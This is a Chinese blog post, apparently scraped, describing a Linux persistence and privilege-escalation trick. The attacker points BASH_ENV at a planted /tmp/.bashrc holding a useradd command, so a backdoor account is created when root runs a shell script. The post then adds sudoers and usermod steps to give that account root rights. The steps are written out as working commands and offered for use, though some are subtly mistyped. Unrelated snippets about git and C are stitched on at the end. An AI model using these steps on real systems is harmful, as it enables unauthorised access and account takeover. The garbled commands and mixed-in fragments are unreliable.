linux滲透的奇技淫巧

2021-07-29 12:11:03 字數 1459 閱讀 3405

在網上get到了乙個給linux新增使用者的技巧,通過環境變數執行指令碼,進而達到新增 使用者的目的。算不上是提權,記錄一下,或許以後會有用。

通常,linux在執行bash指令碼時,如果bash_env被設定的話,它就會執行bash_env指向 的指令碼。

首先先看乙個例子

第一步:建立乙個test.sh指令碼

!#/bin/bash

echo

"test"

第二步:在/tmp/目錄下建立乙個.bashrc

!#/bin/bash

echo

"bashrc"

第三步:設定環境變數$bash_env

echo

$bash_env

export bash_env="/tmp/.bashrc"

第四步:設定指令碼許可權,執行指令碼,檢視輸出

chmod 775 test.sh

./test.sh

結果會輸出

bashrc

test

可以看出,如果設定了環境變數bash_env,如果使用者執行sh指令碼,則會執行bash_env 指向的指令碼。那麼如何利用呢?

當我們拿到linux的低許可權使用者時,可以檢視一下主機是否經常用su來登入root,如果有這樣的情況,那麼就可以這樣做……(看下面)

首先看一下su後環境變數在不在,經過在自己的機器上檢查,su後$bash_env還是存在的,那就好辦了。

現在在/tmp/.bashrc中寫入如下內容

useradd -p `openssl passwd -l -salt '123' test1234` test
/這是注釋,不用謝(增加使用者test,密碼為test1234)/

主機使用者利用su登入到root使用者後,執行.sh指令碼,就會先去執行如上命令,成功新增使用者。

用 cat /etc/passwd可以看到結果

需要注意的:

1.test.sh的許可權設定別錯了

2.這裡不能直接加入root組,除非在.sh指令碼裡寫乙個功能,實現修改修改/etc/sudoers檔案。

找到下面一行,把前面的注釋(#)去掉

## allows people in

group wheel to run all commands

%wheel all=(all) all

然後在再執行命令

usermod -g root test
這樣就可以新增擁有root許可權的使用者了。

怎麼給普通使用者root許可權?請移步

learning from

git 奇技淫巧

例如 1.0.0 git tag a 1.0.0 m 1.0.0 版本的備註資訊.複製 git push origin tags 複製 例如 1.0.0 git tag d 1.0.0 複製 刪除遠端標籤需要先刪除本地標籤,再執行下面的命令 git push origin refs tags 1.0...

c 的奇技淫巧

關於陣列 數論演算法技巧 stl其他 while scanf d d n,m eof 等價於 while scanf d d n,m 2 前者eof為檔案結束符,較保險 後者 後的數字為輸入的變數的個數 不能只寫while scanf d d n,m 這樣無法結束讀入 wwq大佬教的,希望我不要和他...

Git的奇技淫巧

git常用命令集合,fork於tips專案 git是乙個 分布式版本管理工具 簡單的理解版本管理工具 大家在寫東西的時候都用過 回撤 這個功能,但是回撤只能回撤幾步,假如想要找回我三天之前的修改,光用 回撤 是找不回來的。而 版本管理工具 能記錄每次的修改,只要提交到版本倉庫,你就可以找到之前任何時...